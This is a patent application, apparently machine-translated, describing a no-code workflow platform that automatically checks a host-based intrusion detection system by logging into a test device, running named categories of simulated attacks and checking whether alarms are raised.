Host intrusion prevention performance detection method and device based on cloud-native environment

Abstract

The application provides a host type intrusion protection performance detection and device based on a cloud native environment, the method comprising: in response to a received intrusion protection performance detection instruction, providing a flow arrangement canvas; from different service corresponding function modules, obtaining a plurality of protection performance detection modules for the host type intrusion detection system; through a workflow engine, establishing an execution dependency relationship between the plurality of protection performance detection modules and a function execution trigger logic corresponding to the configuration module, generating an execution workflow; in response to an execution workflow running instruction, automatically executing the intrusion protection performance detection instruction according to the execution workflow, obtaining a protection performance detection result for the host type intrusion detection system. The application embodiment is applied to cloud technology, artificial intelligence, map field, intelligent transportation, auxiliary driving, vehicle-mounted and other scenes, and the application embodiment can improve the protection performance detection efficiency and reduce the protection performance detection cost.

Description

Technical Field

[0001] This application belongs to the field of computer technology, specifically relating to a method and apparatus for detecting host-based intrusion prevention performance in a cloud-native environment. Background Technology

[0002] A host-based intrusion detection system (HIDS) acts as a monitor and analyzer for a computer system. It does not operate on external interfaces but focuses on the internal workings of the system, monitoring all or part of the system's dynamic operations and the overall state of the computer system.

[0003] During the operation of HIDS, its protective capabilities may fail due to server attacks, administrator errors, or other reasons. In such cases, it is crucial to promptly identify and address the failure. Relevant technologies utilize manual configuration verification to check the coverage of HIDS protection capabilities. For example, in response to user-triggered configuration verification operations, the system logs into the server and manually reviews the configuration information to verify whether HIDS possesses the necessary protective performance.

[0004] However, the detection method that responds to user-triggered configuration verification operations makes the detection process for protection performance more complex, costly, and less efficient. Summary of the Invention

[0005] To address the aforementioned technical issues, this application provides a method and apparatus for detecting host-based intrusion prevention performance in a cloud-native environment.

[0006] On the one hand, this application proposes a host-based intrusion prevention performance detection method based on a cloud-native environment, the method comprising:

[0007] In response to a received intrusion prevention performance detection command, a flow orchestration canvas that allows for visual editing of the workflow is provided; wherein, the flow orchestration canvas includes functional modules corresponding to different services;

[0008] From the functional modules corresponding to the different services, obtain multiple protection performance detection modules for the host-based intrusion detection system; wherein, the multiple protection performance detection modules include a login information acquisition module, a simulated abnormal attack module, an alarm information acquisition module, and a protection performance analysis module, and the login information acquisition module, the simulated abnormal attack module, the alarm information acquisition module, and the protection performance analysis module are respectively used to perform different protection performance detection tasks;

[0009] In the flow orchestration canvas, the execution dependencies between the multiple protection performance detection modules are established through the workflow engine, and the function execution trigger logic corresponding to each of the multiple protection performance detection modules is configured to generate an automated protection performance detection execution workflow.

[0010] In response to the execution workflow operation instruction, the intrusion protection performance detection instruction is automatically executed according to the execution workflow to obtain the protection performance detection result for the host-based intrusion detection system.

[0011] On the other hand, this application proposes a host-based intrusion prevention performance detection device based on a cloud-native environment, the device comprising:

[0012] The first response module is used to respond to the received intrusion prevention performance detection command and provide a flow orchestration canvas that allows for visual editing of the workflow; wherein, the flow orchestration canvas includes functional modules corresponding to different services;

[0013] The acquisition module is used to acquire multiple protection performance detection modules for the host-based intrusion detection system from the functional modules corresponding to the different services; wherein, the multiple protection performance detection modules include a login information acquisition module, a simulated abnormal attack module, an alarm information acquisition module, and a protection performance analysis module, and the login information acquisition module, the simulated abnormal attack module, the alarm information acquisition module, and the protection performance analysis module are respectively used to perform different protection performance detection tasks;

[0014] The generation module is used to establish the execution dependencies between the multiple protection performance detection modules and configure the function execution trigger logic corresponding to each of the multiple protection performance detection modules in the flow orchestration canvas through the workflow engine, thereby generating an automated protection performance detection execution workflow.

[0015] The second response module is used to respond to the execution workflow operation instruction, automatically execute the intrusion protection performance detection instruction according to the execution workflow, and obtain the protection performance detection result for the host-type intrusion detection system.

[0016] On the other hand, this application proposes an electronic device for host-based intrusion prevention performance detection based on a cloud-native environment. The electronic device includes a processor and a memory. The memory stores at least one instruction or at least one program. The processor loads and executes the at least one instruction or at least one program to achieve host-based intrusion prevention performance detection based on a cloud-native environment as described above.

[0017] On the other hand, this application proposes a computer-readable storage medium storing at least one instruction or at least one program, which is loaded and executed by a processor to achieve host-based intrusion prevention performance detection based on a cloud-native environment as described above.

[0018] On the other hand, this application proposes a computer program product that, when executed by a processor, implements host-based intrusion prevention performance detection based on a cloud-native environment as described above.

[0019] The host-based intrusion prevention performance detection and device based on a cloud-native environment proposed in this application provides a flow orchestration canvas with visual workflow editing capabilities in response to received intrusion prevention performance detection instructions. Multiple protection performance detection modules for the host-based intrusion detection system are obtained from the functional modules corresponding to different services. In the flow orchestration canvas, the execution dependencies between the multiple protection performance detection modules are established through a workflow engine, and the functional execution trigger logic corresponding to each of the multiple protection performance detection modules is configured, generating an automated protection performance detection execution workflow. This allows for visual graphical configuration of the multiple protection performance detection modules obtained from the flow orchestration canvas during workflow generation, eliminating the need for users to write and understand code. In other words, the execution workflow can be constructed in a "code-free workflow" format, requiring no significant cost or professional personnel, thus improving the efficiency of execution workflow generation and consequently enhancing the detection efficiency of host-based intrusion prevention performance detection in a cloud-native environment. Simultaneously, during workflow execution, the intrusion prevention performance detection instructions can be automatically executed based on the previously generated workflow execution commands, yielding the protection performance detection results for the host-based intrusion detection system. This separates the program execution body from the configuration, ensuring flexible configuration changes under different application scenarios while maintaining the stability of the main functional logic. Furthermore, the HIDS protection performance detection method in this embodiment is a fully automated protection performance detection performed in response to workflow execution commands, enabling batch detection of a large number of accounts, further improving the detection efficiency and scope of HIDS protection performance. In addition, this embodiment does not require the construction of a separate process platform; it is quickly built based on "no-code workflow," and all business processes run on the same workflow platform, allowing for centralized and unified management. Attached Figure Description

[0020] To more clearly illustrate the technical solutions and advantages in the embodiments of this application or the prior art, the drawings used in the description of the embodiments or the prior art will be briefly introduced below. Obviously, the drawings described below are only some embodiments of this application. For those skilled in the art, other drawings can be obtained based on these drawings without creative effort.

[0021] Figure 1 This is a schematic diagram illustrating an implementation environment for host-based intrusion prevention performance testing in a cloud-native environment, according to an exemplary embodiment.

[0022] Figure 2 This is a schematic diagram illustrating a host-based intrusion prevention performance detection process in a cloud-native environment, according to an exemplary embodiment. Figure 1 .

[0023] Figure 3 This is a schematic diagram illustrating the structure of a visual editor according to an exemplary embodiment.

[0024] Figure 4 This is a schematic diagram of a workflow engine according to an exemplary embodiment.

[0025] Figure 5 This is a flowchart illustrating another host-based intrusion prevention performance testing method based on an exemplary embodiment. Figure 2 .

[0026] Figure 6 This is a schematic diagram illustrating a login information editing page according to an exemplary embodiment.

[0027] Figure 7 This is a schematic diagram illustrating the display of protection performance test results of a device under test in an instant messaging system according to an exemplary embodiment.

[0028] Figure 8 This is a schematic diagram illustrating a host-based intrusion prevention performance detection process based on an exemplary embodiment in a cloud-native environment. Figure 3 .

[0029] Figure 9 This is a block diagram illustrating a host-based intrusion prevention performance detection device based on a cloud-native environment, according to an exemplary embodiment.

[0030] Figure 10 This is a hardware structure block diagram of a workflow platform for testing the protection performance of a host-based intrusion detection system, provided according to an exemplary embodiment. Detailed Implementation

[0031] To enable those skilled in the art to better understand the present application, the technical solutions in the embodiments of the present application will be clearly and completely described below with reference to the accompanying drawings. Obviously, the described embodiments are only some embodiments of the present application, and not all embodiments. Based on the embodiments in the present application, all other embodiments obtained by those of ordinary skill in the art without creative effort should fall within the scope of protection of the present application.

[0032] It should be noted that the terms "first," "second," etc., in the specification, claims, and accompanying drawings of this application are used to distinguish similar objects and are not necessarily used to describe a specific order or sequence. It should be understood that such data can be interchanged where appropriate so that the embodiments of this application described herein can be implemented in orders other than those illustrated or described herein. Furthermore, the terms "comprising" and "having," and any variations thereof, are intended to cover non-exclusive inclusion; for example, a process, method, system, product, or cloud that includes a series of steps or units is not necessarily limited to those steps or units explicitly listed, but may include other steps or units not explicitly listed or inherent to such processes, methods, products, or devices.

[0033] Figure 1 This is a schematic diagram illustrating an implementation environment for host-based intrusion prevention performance detection in a cloud-native environment, according to an exemplary embodiment. For example... Figure 1 As shown, the implementation environment may include at least a workflow platform 01, a device under test 02, and an alarm storage system 03. The alarm storage system 03 may be directly or indirectly connected to the workflow platform 01 and the device under test 02 via wired or wireless communication, respectively. This embodiment of the application does not impose any limitations on this.

[0034] Specifically, the workflow platform 01 can be used to generate an execution workflow for automated protection performance testing; and to automatically execute the intrusion protection performance testing instructions according to the execution workflow in response to the execution workflow running instructions, thereby obtaining the protection performance testing results for the host-based intrusion detection system. Optionally, the workflow platform 01 may include a workflow engine, which can be understood as a core component of the development program or system. Using the engine, the functions required by the program can be quickly established and deployed, or its operation can be assisted.

[0035] Specifically, the device under test 02 is a host-based intrusion detection protection device. The device under test 02 may be equipped with a host-based intrusion detection system, which performs host-based intrusion detection protection on the device under test 02. The device under test 02 may include a HIDS client and a server deployed on the HIDS client. Optionally, the HIDS client terminal may include, but is not limited to, mobile phones, computers, smart voice interaction devices, smart home appliances, vehicle terminals, aircraft, etc.

[0036] Optionally, the alarm storage system 03 can be used to store alarm information sent by a host-based intrusion detection system when it detects abnormal attack processing on the device under test. The alarm storage system 03 can be a HIDS server, which can be a standalone physical server, a server cluster or distributed system composed of multiple physical servers, or a cloud server providing basic cloud computing services such as cloud services, cloud databases, cloud computing, cloud functions, cloud storage, network services, cloud communication, middleware services, domain name services, security services, distributed content delivery networks (CDNs), and big data and artificial intelligence platforms. For example, the distributed system can be a blockchain system.

[0037] For example, the interaction process between the workflow platform 01, the device under test 02, and the alarm storage system 03 can be as follows:

[0038] The device under test 02 is equipped with HIDS, which can act as a monitor and analyzer, focusing on the internal system of the HIDS client in the device under test 02, monitoring all or part of the dynamic behavior of the HIDS client system, thereby protecting against attacks on the device under test 02.

[0039] Workflow platform 01 uses login information to log in to the device under test 02, specifically to log in to a server with HI DS deployed, in order to simulate various attack operations on the HIDS client.

[0040] HIDS protects HIDS clients. When HIDS detects an attack on a HIDS client, it reports the corresponding alarm information to the alarm storage system 03, which can be uploaded to the HIDS server.

[0041] After receiving an alarm message, the HIDS server records the alarm message, stores it in the log database, and notifies the HIDS client account of the alarm message.

[0042] Workflow Platform 01 reads all alarm information by calling the HIDS server-side host-based intrusion detection interface. Workflow Platform 01 determines whether the alarm information includes alarms for simulated attack operations, thereby testing the protection performance of HIDS.

[0043] It should be noted that, Figure 1 This is just one example. Other implementation environments may also be included in other scenarios.

[0044] It should be noted that the embodiments of this application can be applied to various scenarios, including but not limited to cloud technology, artificial intelligence, smart transportation, and assisted driving.

[0045] Figure 2 This is a schematic diagram illustrating a host-based intrusion prevention performance detection process in a cloud-native environment, according to an exemplary embodiment. Figure 1 This method can be used for Figure 1 This specification describes the workflow platform in the implementation environment. The method operation steps described in the embodiments or flowcharts are provided herein, but based on conventional or non-inventive labor, more or fewer operation steps may be included. The order of steps listed in the embodiments is merely one possible execution order among many and does not represent the only possible execution order. In actual system or server product execution, the methods shown in the embodiments or figures can be executed sequentially or in parallel (e.g., in a parallel processor or multi-threaded processing environment). Specifically, as shown... Figure 2 As shown, the method may include:

[0046] S101. In response to the received intrusion prevention performance detection command, a flow orchestration canvas that allows for visual editing of the workflow is provided; wherein, the flow orchestration canvas includes functional modules corresponding to different services.

[0047] S103. Obtain multiple protection performance testing modules for the host-based intrusion detection system from the functional modules corresponding to different services; among them, the multiple protection performance testing modules include a login information acquisition module, a simulated abnormal attack module, an alarm information acquisition module, and a protection performance analysis module. The login information acquisition module, the simulated abnormal attack module, the alarm information acquisition module, and the protection performance analysis module are used to perform different protection performance testing tasks.

[0048] S105. In the flow orchestration canvas, the execution dependencies between multiple protection performance detection modules are established through the workflow engine, and the corresponding function execution trigger logic of each of the multiple protection performance detection modules is configured to generate an automated protection performance detection execution workflow.

[0049] S107. In response to the execution workflow operation instruction, automatically execute the intrusion prevention performance detection instruction according to the execution workflow to obtain the protection performance detection result for the host-based intrusion detection system.

[0050] In this application embodiment, the cloud-native environment refers to an Internet or big data environment that can provide computing power, storage capacity, or virtual machine services to users or various application systems on demand from a dynamically virtualized resource pool.

[0051] In step S101 above, when the account corresponding to the workflow platform needs to test the protection performance of the host-based intrusion detection system based on a cloud-native environment, the account can open the visual editor in the workflow platform and trigger an intrusion protection performance test command in the visual editor. The workflow platform responds to this command, and the visual editor displays a flow orchestration canvas that allows for visual editing of the workflow. This flow orchestration canvas can include functional modules corresponding to different services, that is, it can include multiple protection performance test modules corresponding to the host-based intrusion protection performance service.

[0052] As an example, different business units can pre-develop their own corresponding functional modules according to their own business needs and configure their respective functional modules in the visual editor.

[0053] Figure 3 This is a schematic diagram illustrating the structure of a visual editor according to an exemplary embodiment, such as... Figure 3 As shown, this visual editor may include a flow orchestration canvas, application parameter configurator, debugger, version controller, application selector, and graphics rendering engine. The flow orchestration canvas is used for visual editing of the execution workflow. The application parameter configurator is used to configure the parameters of each functional module. The version controller is used to manage the modification history of files, directories, or projects in the visual editor, facilitating the viewing of change history and backups for restoring previous versions. The application selector can be used to select functional modules. The graphics rendering engine is used to render the selected functional modules.

[0054] In step S103 above, the account corresponding to the workflow platform can trigger a module selection command in the flow orchestration canvas. The workflow platform responds to this selection command by obtaining multiple protection performance detection modules for the host-based intrusion detection system from the functional modules corresponding to different services. For example, these multiple protection performance detection modules include modules such as a login information acquisition module, a simulated abnormal attack module, an alarm information acquisition module, and a protection performance analysis module. These functional modules are pre-generated and configured in the visual editor by the host-based intrusion prevention performance service. The account corresponding to the workflow platform can respond to this selection command by obtaining the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module from the functional modules corresponding to different services.

[0055] It should be noted that the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module can be understood as abstracting certain commonly used functions or interface services, so that users only need to configure them through a graphical interface and do not need to start writing code.

[0056] In step S105 above, the workflow platform can automatically establish an execution workflow through "no-code, no-workflow technology." "No-code" technology refers to a software development approach that allows building application systems through drag-and-drop visual components without needing to understand or write code. "Workflow technology" refers to representing the logic and rules of how tasks are organized sequentially within a workflow in a computer model and performing calculations on it. Automating parts or the entirety of a business process in a computer application environment is an abstract and generalized description of the workflow and the business rules between its various operational steps. In this embodiment, the workflow platform can establish execution dependencies between multiple protection performance detection modules and configure the corresponding functional execution trigger logic for each protection performance detection module within the flow orchestration canvas, generating an automated protection performance detection execution workflow. Furthermore, the workflow platform can establish execution dependencies between modules such as login information acquisition, simulated abnormal attack, alarm information acquisition, and protection performance analysis, and configure the corresponding functional execution trigger logic for each module to obtain the execution workflow.

[0057] Here, the execution dependency relationship can refer to the execution order between various modules. For example, if the execution order of the simulated anomaly attack module is after the login information acquisition module, then the execution of the simulated anomaly attack module can be considered to depend on the login information acquisition module; that is, the output of the login information acquisition module can be used as the input of the simulated anomaly attack module.

[0058] The function execution triggering logic can refer to the logic that triggers each module to execute its respective function. For example, for the login information acquisition module, it can be passively triggered by external factors (e.g., receiving an access request) or actively triggered (e.g., periodically triggered by the workflow platform itself). Therefore, the workflow platform can use the above-mentioned active and passive triggering logic of the workflow engine login information acquisition module.

[0059] Figure 4 This is a schematic diagram of a workflow engine according to an exemplary embodiment, such as... Figure 4 As shown, this workflow engine, based on the concept of functional modular decomposition, abstracts commonly used functional logic into general functional modules, thereby separating the main program execution and configuration. This ensures that while the main functional logic remains stable, flexible configuration changes can be supported in different application scenarios. This workflow engine may include, but is not limited to: a logic processing engine: used to process and configure the execution trigger logic of each functional module. Specifically, it is used to establish dependencies between modules and configure the corresponding functional execution trigger logic. An application execution engine: used to execute each functional module during the execution of other functional modules. A trigger monitor: used to trigger and monitor the workflow's execution status within the workflow engine. A syntax parsing engine: used to perform syntax analysis on the logic of each functional module (including execution trigger logic). A credential authentication engine: used to verify whether the account corresponding to the workflow platform has the permission to execute the workflow.

[0060] In step S107 above, the account corresponding to the workflow platform can trigger the execution instruction to run the execution workflow. The workflow platform responds to the execution workflow execution instruction and automatically executes the intrusion prevention performance detection instruction according to the execution workflow. That is, the execution workflow automatically executes the protection performance detection tasks corresponding to each of the multiple protection performance detection modules to obtain the protection performance detection results for the host-based intrusion detection system.

[0061] It should be noted that the host-based intrusion protection performance detection in this application embodiment refers to the detection of the protection coverage of HIDS, that is, the detection of which types of attacks HIDS can protect against.

[0062] In this embodiment, when generating the execution workflow, multiple protection performance detection modules obtained from the flow orchestration canvas can be configured graphically and visually. Users do not need to write or understand code during the workflow generation process; that is, the execution workflow can be constructed in a "code-free workflow" format. This allows for rapid generation without significant cost or professional personnel, improving workflow generation efficiency and consequently, the detection efficiency of HIDS's protection performance. Simultaneously, during workflow execution, the intrusion protection performance detection instructions are automatically executed based on the previously generated workflow, directly responding to the workflow execution commands. This yields protection performance detection results for the host-based intrusion detection system, separating the program execution body from the configuration. This ensures flexible configuration changes across different application scenarios while maintaining the stability of the core functional logic. Furthermore, the HIDS protection performance detection method in this embodiment is an automatic detection process responding to workflow execution commands, enabling batch detection of a large number of accounts, further improving the detection efficiency and scope of HIDS's protection performance. Furthermore, this application embodiment does not require the construction of a separate process platform. It is quickly built based on "no-code workflow". All business processes run on the same workflow platform and can be centrally and uniformly managed.

[0063] In a feasible embodiment, prior to step S101, the method may further include a method for generating multiple protection performance testing modules, which may include:

[0064] Obtain the protection performance testing process for host-based intrusion detection systems; the protection performance testing process includes login information acquisition process, simulated abnormal attack process, alarm information acquisition process, and protection performance analysis process; the logic corresponding to the login information acquisition process, simulated abnormal attack process, alarm information acquisition process, and protection performance testing process is abstracted to obtain the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module.

[0065] For the embodiments of this application, the protection performance testing process and its corresponding logic code of the host-based intrusion detection system can be pre-written by professionals. This protection performance testing process includes a login information acquisition process, a simulated abnormal attack process, an alarm information acquisition process, and a protection performance analysis process. The workflow platform can use the logic processing engine in the workflow engine to abstract and process the logic of the login information acquisition process (which is: acquiring the login information of the device to be tested), the logic of the simulated abnormal attack process (which is: using the login information to log in to the device to be tested and performing abnormal attack processing on the device to be tested), the logic of the alarm information acquisition process (which is: acquiring candidate alarm information identified by the host-based intrusion detection system from the device to be tested), and the logic of the protection performance testing process (which is: analyzing whether the candidate alarm information includes alarm information for abnormal attack processing and generating the protection performance testing result of the host-based intrusion detection system based on the analysis results), respectively, to obtain the login information acquisition module, the simulated abnormal attack module, the alarm information acquisition module, and the protection performance analysis module.

[0066] In a specific embodiment, "abstraction" can refer to abstracting the configurable content in the pre-written logic code of each process in the protection performance testing workflow into functional modules. For example, the configurable content in the code can be abstracted into an input box in a visual editor. Since the code for the operation corresponding to this functional module has been pre-written, the workflow platform does not need to write or understand code when generating and executing the workflow. Even if the execution workflow can be constructed in the form of "no-code workflow", it can be generated quickly without a large cost investment or the investment of professional personnel, thereby improving the generation efficiency of the execution workflow and thus improving the detection efficiency of HIDS protection performance.

[0067] For example, the login information acquisition process is logic for "acquiring the login information of the device under test." This login information can be configured according to actual needs. Therefore, "login information" is the configuration content, and it can be abstracted into a login information acquisition module, which is then configured in the visual editor. Similarly, the simulated abnormal attack process is logic for "logging into the device under test using the login information and performing abnormal attack processing on the device under test." This "abnormal attack processing" can be configured according to actual needs. Therefore, it can be abstracted into a simulated abnormal attack module, which is then configured in the visual editor. Finally, the alarm information acquisition process is logic for "acquiring candidate alarm information identified by the host-based intrusion detection system from the device under test." The type of candidate alarm information acquired in this process can be configured according to actual needs. Therefore, the type of candidate alarm information acquired is abstracted into an alarm information acquisition module, which is then configured in the visual editor. The logic of the protection performance testing process is to "analyze whether the candidate alarm information includes alarm information for handling abnormal attacks, and generate the protection performance test results for host-type intrusion based on the analysis results". The format of the protection performance test results in this logic can be configured according to actual needs. Therefore, the format of the protection performance test results is abstracted into a protection performance analysis module, and this protection performance analysis module is configured in the visual editor.

[0068] It should be noted that since the functional modules are derived from the logical abstraction of each process in the protection performance testing workflow, the abstracted modules can execute the protection performance testing tasks corresponding to the logic of that workflow. For example, the login information acquisition module is used to acquire the login information of the device under test protected by the host-based intrusion detection system and transmit the login information to the simulated abnormal attack module; the simulated abnormal attack module is used to log in to the device under test using the login information and perform abnormal attack processing on the device under test; the alarm information acquisition module is used to acquire candidate alarm information identified by the host-based intrusion detection system for the device under test; and the protection performance analysis module is used to analyze whether the candidate alarm information includes alarm information for simulated abnormal attack processing and generate protection performance testing results based on the analysis results.

[0069] Optionally, the above "abstraction" process can be implemented through the syntax parsing engine and logic processing engine in the workflow engine.

[0070] In this embodiment, by pre-abstracting the logic of each process in the protection performance testing process into their respective functional modules, when drawing the execution workflow, the account corresponding to the workflow platform does not need to write and understand the code. Instead, the functional modules are abstracted by dragging and connecting in the visual editor. This enables the execution workflow to be generated quickly without a large cost investment or the investment of professional personnel, thereby improving the efficiency of subsequent execution workflow generation and thus improving the detection efficiency of HIDS' protection performance.

[0071] Optionally, step S103 can be implemented in various ways, and no specific limitation is made here.

[0072] In one feasible embodiment, the stream orchestration canvas includes module areas, which in turn include functional modules corresponding to different services. Accordingly, Figure 5 This is a flowchart illustrating another host-based intrusion prevention performance testing method based on an exemplary embodiment. Figure 2 ,like Figure 5 As shown, step S103 may include: in response to a search command triggered based on a module region, obtaining multiple protection performance detection modules corresponding to the search command from the functional modules corresponding to different services in the module region.

[0073] In this embodiment, since functional modules corresponding to different services are pre-configured in the module area of ​​the flow orchestration canvas, the workflow platform account can enter the identifier of the functional module to be searched in the module area, and search for the functional module corresponding to the different services through the identifier, thereby triggering a search command. In response to the search command, the workflow platform obtains multiple protection performance detection modules corresponding to the identifier carried in the search command from the functional modules corresponding to the different services in the module area.

[0074] For example, a workflow platform user can enter the identifier of a login information acquisition module in this module area. Using this identifier, the user can search for the corresponding functional modules for different business functions, thus triggering a search command. The workflow platform responds to this search command by retrieving the login information acquisition module corresponding to the identifier carried in the search command from the functional modules corresponding to different business functions in the module area. The acquisition process for the simulated anomaly attack module, alarm information acquisition module, and protection performance analysis module is similar to that of the login information acquisition module and will not be described further here.

[0075] In this embodiment, since the flow orchestration canvas pre-includes functional modules corresponding to different services, when generating the execution workflow, the workflow platform does not need to write and understand the code for each operation. Instead, in the flow orchestration canvas in the visual editor, it automatically obtains multiple protection performance detection modules that need to generate the execution workflow by responding to the search command triggered based on the module area. This realizes no-code operation in the execution workflow generation process, which allows the execution workflow to be built quickly without a large cost investment or the investment of professional personnel, thereby improving the detection efficiency of HIDS protection performance.

[0076] Optionally, step S105 can be implemented in various ways, and no specific limitation is made here.

[0077] In one feasible embodiment, the flow orchestration canvas may further include an editing area for visually editing the workflow. Accordingly, continuing as... Figure 5 As shown, step S105 above may include:

[0078] S1051. In response to a drag operation triggered based on multiple searched protection performance detection modules, drag the multiple searched protection performance detection modules to the editing area.

[0079] S 1053. In response to the logic configuration instructions triggered by each of the multiple protection performance detection modules in the editing area, configure the function execution trigger logic corresponding to each of the multiple protection performance detection modules through the workflow engine.

[0080] S 1055. In response to a connection operation triggered by any two protection performance detection modules in the editing area, a directed connection edge between any two protection performance detection modules is drawn through the workflow engine to generate an execution workflow; the direction of the directed connection edge represents the execution dependency between any two protection performance detection modules.

[0081] In step S1051 above, the account corresponding to the workflow platform can be used. Figure 3 The application selector in the flow orchestration canvas selects the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module in the module area, thereby triggering a drag-and-drop operation. The workflow platform responds to this drag-and-drop operation by dragging the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module to the editing area in the visual editor.

[0082] In step S1053 above, the workflow platform can respond to the logical configuration command and, through the workflow engine, call... Figure 3The application parameter configurator in the editing area allows for the editing of the functional execution trigger logic of multiple protection performance detection modules, resulting in the functional execution trigger logic for each module. For example, the workflow platform can respond to a logic configuration command by calling the application parameter configurator through the workflow engine to edit the functional execution trigger logic of the login information acquisition module, thus obtaining the corresponding functional execution trigger logic for the login information acquisition module. The functional execution trigger logic processes for the simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module are similar to those for the login information acquisition module and will not be elaborated further here.

[0083] In step S1055 above, the account corresponding to the workflow platform can click on a certain protection performance detection module to trigger a connection operation. The workflow platform responds to the connection operation by displaying a connection control. The account corresponding to the workflow platform clicks on the connection control and then clicks on another protection performance detection module to connect the two protection performance detection modules, thereby establishing a directed connection edge between the two protection performance detection modules and obtaining the execution workflow. The direction of the directed connection edge represents the execution dependency relationship between any two protection performance detection modules. That is, the execution dependency relationship of each protection performance detection module can be set by connecting them.

[0084] In this embodiment, when generating the execution workflow, the workflow platform does not need to write and understand the code for each operation. Instead, it can quickly arrange the execution workflow in the visual editor by dragging and connecting lines, realizing code-free operation in the execution workflow process. This allows the execution workflow to be built quickly without a large cost investment or the investment of professional personnel, thereby improving the detection efficiency of HIDS's protection performance.

[0085] Optionally, step S107 can be implemented in various ways, and no specific limitation is made here.

[0086] In one feasible embodiment, step S107 above may include:

[0087] In response to the execution workflow operation instruction, the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module in the execution workflow are called in sequence, so that the login information acquisition module, simulated abnormal attack module, alarm information acquisition module, and protection performance analysis module can perform their respective protection performance detection tasks and obtain protection performance detection results.

[0088] In this embodiment, when the account corresponding to the workflow platform wants to run the execution workflow, it can trigger an execution workflow running instruction. In response to this instruction, the workflow platform calls the login information acquisition module to obtain the login information of the device under test and transmits it to the simulated abnormal attack module; it then calls the simulated abnormal attack module to log in to the device under test based on the login information and perform simulated abnormal attack processing; it calls the alarm information acquisition module to obtain candidate alarm information for the device under test identified by the host-based intrusion detection system; and finally, it calls the protection performance analysis module to determine whether the candidate alarm information includes alarm information for simulated abnormal attack processing, and generates a protection performance detection result based on the analysis results.

[0089] In this embodiment, by directly responding to the workflow execution command during the workflow execution process, the various protection performance detection modules in the previously generated execution workflow are sequentially called to obtain the protection performance detection results for the host-based intrusion detection system. This separates the program execution body from the configuration, ensuring flexible configuration changes under different application scenarios while maintaining the stability of the main functional logic. Furthermore, the HIDS protection performance detection method in this embodiment is a fully automated attack operation simulation performed in response to the workflow execution command, enabling batch detection of a large number of accounts, further improving the detection efficiency and scope of HIDS protection performance.

[0090] In an exemplary embodiment, the above-mentioned invocation of the login information acquisition module in the execution workflow, causing the login information acquisition module to perform the corresponding protection performance detection task, may include:

[0091] The login information acquisition module in the execution workflow is invoked to enable the login information acquisition module to provide a login information editing page; the login information editing page includes a port address information editing area and a login information editing area.

[0092] In response to an edit operation triggered by the edit area based on port address information, the port address information of the device under test is obtained; in response to an edit operation triggered by the edit area based on login information, the login information of the device under test is obtained.

[0093] The port address information and login information are identified as login information; this login information is used to transmit to the simulated abnormal attack module.

[0094] In this embodiment, the login information acquisition module acts as a trigger, initiating the execution of the workflow. Triggers can be categorized as active or passive. Passive triggering refers to being triggered by external information, such as the workflow platform receiving an access request (e.g., an HTTP webhook request), thereby triggering the execution of the login information acquisition module. Active triggering refers to not requiring external triggering but being actively triggered by the workflow platform itself, such as the workflow platform periodically triggering the execution of the login information acquisition module.

[0095] As an example, the login information acquisition module can be a form trigger. The form trigger works as follows: the workflow platform assigns a form-filling address page to each workflow initiated by the form trigger. This page provides a graphical login information editing page, which includes a port address information editing area and a login information editing area. The account corresponding to the workflow platform can edit the port address information and login information in both areas to obtain the port address information and account information of the device to be tested, thus triggering the editing operation. In response, the workflow platform retrieves the port address information and account information entered by the account on the login information editing page and identifies this information as the login information for the device to be tested. This login information can then be used as input parameters to enter the workflow execution process. The subsequent protection performance detection module will then reference these parameters for its specific workflow operations.

[0096] Optionally, the port protocol address information may include Internet Protocol address information (IP address) and login port information, and the account information may include a login username and password. The IP address refers to the IP address bound to the target domain name for which HIDS security protection performance testing is performed, and is also the IP address of the device under test for login checks. The login port information refers to the port of the device under test for which HIDS security protection performance testing is performed. The login username refers to the account required to log in to the device under test for HIDS security protection performance testing. The login password refers to the password required to log in to the device under test for HIDS security protection performance testing.

[0097] Figure 6 This is a schematic diagram illustrating a login information editing page according to an exemplary embodiment, such as... Figure 6As shown, the port address information editing area may include an Internet Protocol address editing box and a login port editing box, while the login information editing area may include a login account editing box and a login password editing box. The account corresponding to the workflow platform can edit the IP address in the Internet Protocol address editing box, the login port information in the login port editing box, the login account in the login account editing box, and the login password in the login password editing box, thereby triggering the editing operation. The workflow platform responds to this editing operation, obtains the login information entered by the account, and clicks... Figure 6 The "Submit" control in the workflow allows login information to be used as input parameters for execution. The subsequent workflow's protection performance detection module will then reference these parameters for specific workflow operations.

[0098] In this embodiment, login information is edited on a graphical user interface, enabling the workflow platform to use this information as input parameters into the workflow execution process. The subsequent workflow's protection performance testing module will then reference these parameters for specific workflow operations. In other words, simply entering the login information of the device to be tested into the form trigger link on the workflow platform automatically logs into the device and performs fully automated attack simulations. This allows for batch testing of a large number of cloud accounts, improving the efficiency of host-based intrusion protection performance testing in a cloud-native environment.

[0099] In a feasible embodiment, the protection performance detection task may include a simulated abnormal attack processing task. The simulated abnormal attack module includes a simulated malicious file attack module, a simulated abnormal login attack module, a simulated password cracking attack module, a simulated abnormal command attack module, a simulated privilege escalation attack module, and a simulated reverse shell attack module. Therefore, the above-mentioned invocation of the simulated abnormal attack module in the execution workflow to cause the simulated abnormal attack module to perform the corresponding protection performance detection task may include:

[0100] The simulated malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module in the execution workflow are invoked so that the simulated malicious file attack module, simulated abnormal login attack module, simulated password cracking attack module, simulated abnormal command attack module, simulated privilege escalation attack module, and simulated reverse shell attack module log in to the device under test using login information and simulate the execution of their respective simulated abnormal attack processing tasks on the device under test.

[0101] In this embodiment, HIDS needs to protect against the following attack types: malicious file protection, abnormal login protection, password cracking protection, abnormal command protection, local privilege escalation protection, and reverse shell protection (wherein, a shell, also known as a terminal or shell, acts as a translator between the user and the kernel). To test the protection coverage of HIDS, this embodiment can perform availability tests on the above-mentioned protection capabilities respectively. Accordingly, the simulated abnormal attack process can include a simulated malicious file attack process, a simulated abnormal login attack process, a simulated password cracking attack process, a simulated abnormal command attack process, a simulated privilege escalation attack process, and a simulated reverse shell attack process.

